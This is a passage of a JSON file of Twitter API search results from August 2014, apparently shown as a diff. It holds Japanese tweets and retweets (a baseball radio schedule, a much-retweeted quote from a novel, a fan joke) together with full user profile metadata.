"https://pbs.twimg.com/profile_images/1556202861/chibi-Leon_normal.jpg", + "profile_link_color": "009999", + "profile_sidebar_border_color": "EEEEEE", + "profile_sidebar_fill_color": "EFEFEF", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 23:12:39 +0000 2014", + "id": 505855649196953600, + "id_str": "505855649196953600", + "text": "●継続試合(中京対崇徳)46回~ 9時~\n 〈ラジオ中継〉\n らじる★らじる→大阪放送局を選択→NHK-FM\n●決勝戦(三浦対中京or崇徳) 12時30分~\n 〈ラジオ中継〉\n らじる★らじる→大阪放送局を選択→NHK第一\n ※神奈川の方は普通のラジオのNHK-FMでも", + "source": "Twitter Web Client", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2761692762, + "id_str": "2761692762", + "name": "三浦学苑軟式野球部応援団!", + "screen_name": "oen_yakyu", + "location": "", + "description": "兵庫県で開催される「もう一つの甲子園」こと全国高校軟式野球選手権大会に南関東ブロックから出場する三浦学苑軟式野球部を応援する非公式アカウントです。", + "url": "http://t.co/Cn1tPTsBGY", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/Cn1tPTsBGY", + "expanded_url": "http://www.miura.ed.jp/index.html", + "display_url": "miura.ed.jp/index.html", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 464, + "friends_count": 117, + "listed_count": 4, + "created_at": "Sun Aug 24 07:47:29 +0000 2014", + "favourites_count": 69, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 553, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/504299474445811712/zsxJUmL0_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/504299474445811712/zsxJUmL0_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2761692762/1409069337", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 7, + "favorite_count": 2, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 7, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "oen_yakyu", + "name": "三浦学苑軟式野球部応援団!", + "id": 2761692762, + "id_str": "2761692762", + "indices": [ + 3, + 13 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874882110824450, + "id_str": "505874882110824448", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "スマホに密封★アニメ画像", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2725976444, + "id_str": "2725976444", + "name": "スマホに密封★アニメ画像", + "screen_name": "sumahoanime", + "location": "", + "description": "なんともめずらしい、いろんなキャラがスマホに閉じ込められています。 \r\nあなたのスマホにマッチする画像が見つかるかも♪ \r\n気に入ったら是非 RT & フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 227, + "friends_count": 1918, + "listed_count": 0, + "created_at": "Tue Aug 12 11:27:54 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 527, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/499155646164393984/l5vSz5zu_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/499155646164393984/l5vSz5zu_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2725976444/1407843121", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:05 +0000 2014", + "id": 505874881297133600, + "id_str": "505874881297133568", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "アナタのそばの身近な危険", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2713926078, + "id_str": "2713926078", + "name": "アナタのそばの身近な危険", + "screen_name": "mijika_kiken", + "location": "", + "description": "知らないうちにやっている危険な行動を見つけて自分を守りましょう。 役に立つと思ったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 301, + "friends_count": 1871, + "listed_count": 0, + "created_at": "Thu Aug 07 07:12:50 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 644, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/497279579245907968/Ftvms_HR_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/497279579245907968/Ftvms_HR_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2713926078/1407395683", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:04 +0000 2014", + "id": 505874880294682600, + "id_str": "505874880294682624", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "人気者♥デイジー大好き", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2726199583, + "id_str": "2726199583", + "name": "人気者♥デイジー大好き", + "screen_name": "ninkimono_daosy", + "location": "", + "description": "デイジーの想いを、代わりにつぶやきます♪ \r\nデイジーのかわいい画像やグッズも大好きw \r\n可愛いと思ったら RT & フォローお願いします。 \r\n「非公式アカウントです」", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 190, + "friends_count": 474, + "listed_count": 0, + "created_at": "Tue Aug 12 12:58:33 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 469, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/499178622494576640/EzWKdR_p_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/499178622494576640/EzWKdR_p_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2726199583/1407848478", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:04 +0000 2014", + "id": 505874879392919550, + "id_str": "505874879392919552", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "幸せ話でフル充電しよう", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2721453846, + "id_str": "2721453846", + "name": "幸せ話でフル充電しようww", + "screen_name": "shiawasehanashi", + "location": "", + "description": "私が聞いて心に残った感動エピソードをお届けします。\r\n少しでも多くの人へ届けたいと思います。\r\nいいなと思ったら RT & フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 302, + "friends_count": 1886, + "listed_count": 0, + "created_at": "Sun Aug 10 12:16:25 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 508, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498444554916216832/ml8EiQka_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498444554916216832/ml8EiQka_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2721453846/1407673555", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:04 +0000 2014", + "id": 505874879103520800, + "id_str": "505874879103520768", + "text": "RT @Ang_Angel73: 逢坂「くっ…僕の秘められし右目が…!」\n一同「……………。」", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2571968509, + "id_str": "2571968509", + "name": "イイヒト", + "screen_name": "IwiAlohomora", + "location": "草葉の陰", + "description": "大人です。気軽に絡んでくれるとうれしいです! イラスト大好き!(≧∇≦) BF(仮)逢坂紘夢くんにお熱です! マンガも好き♡欲望のままにつぶやきますのでご注意を。雑食♡", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 156, + "friends_count": 165, + "listed_count": 14, + "created_at": "Tue Jun 17 01:18:34 +0000 2014", + "favourites_count": 11926, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 7234, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/504990074862178304/DoBvOb9c_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/504990074862178304/DoBvOb9c_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2571968509/1409106012", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:27:01 +0000 2014", + "id": 505874364596621300, + "id_str": "505874364596621313", + "text": "逢坂「くっ…僕の秘められし右目が…!」\n一同「……………。」", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1600750194, + "id_str": "1600750194", + "name": "臙脂", + "screen_name": "Ang_Angel73", + "location": "逢坂紘夢のそばに", + "description": "自由、気ままに。詳しくはツイプロ。アイコンはまめせろりちゃんからだよ☆~(ゝ。∂)", + "url": "http://t.co/kKCCwHTaph", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/kKCCwHTaph", + "expanded_url": "http://twpf.jp/Ang_Angel73", + "display_url": "twpf.jp/Ang_Angel73", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 155, + "friends_count": 154, + "listed_count": 10, + "created_at": "Wed Jul 17 11:44:31 +0000 2013", + "favourites_count": 2115, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 12342, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/378800000027871001/aa764602922050b22bf9ade3741367dc.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/378800000027871001/aa764602922050b22bf9ade3741367dc.jpeg", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/500293786287603713/Ywyh69eG_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/500293786287603713/Ywyh69eG_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1600750194/1403879183", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 2, + "favorite_count": 2, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 2, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "Ang_Angel73", + "name": "臙脂", + "id": 1600750194, + "id_str": "1600750194", + "indices": [ + 3, + 15 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:04 +0000 2014", + "id": 505874877933314050, + "id_str": "505874877933314048", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "秘密の本音♥女子編", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2762237088, + "id_str": "2762237088", + "name": "秘密の本音♥女子編", + "screen_name": "honne_jyoshi1", + "location": "", + "description": "普段は言えない「お・ん・なの建前と本音」をつぶやきます。 気になる あの人の本音も、わかるかも!? \r\nわかるって人は RT & フォローを、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 123, + "friends_count": 988, + "listed_count": 0, + "created_at": "Sun Aug 24 12:27:07 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 211, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503519190364332032/BVjS_XBD_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503519190364332032/BVjS_XBD_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2762237088/1408883328", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + 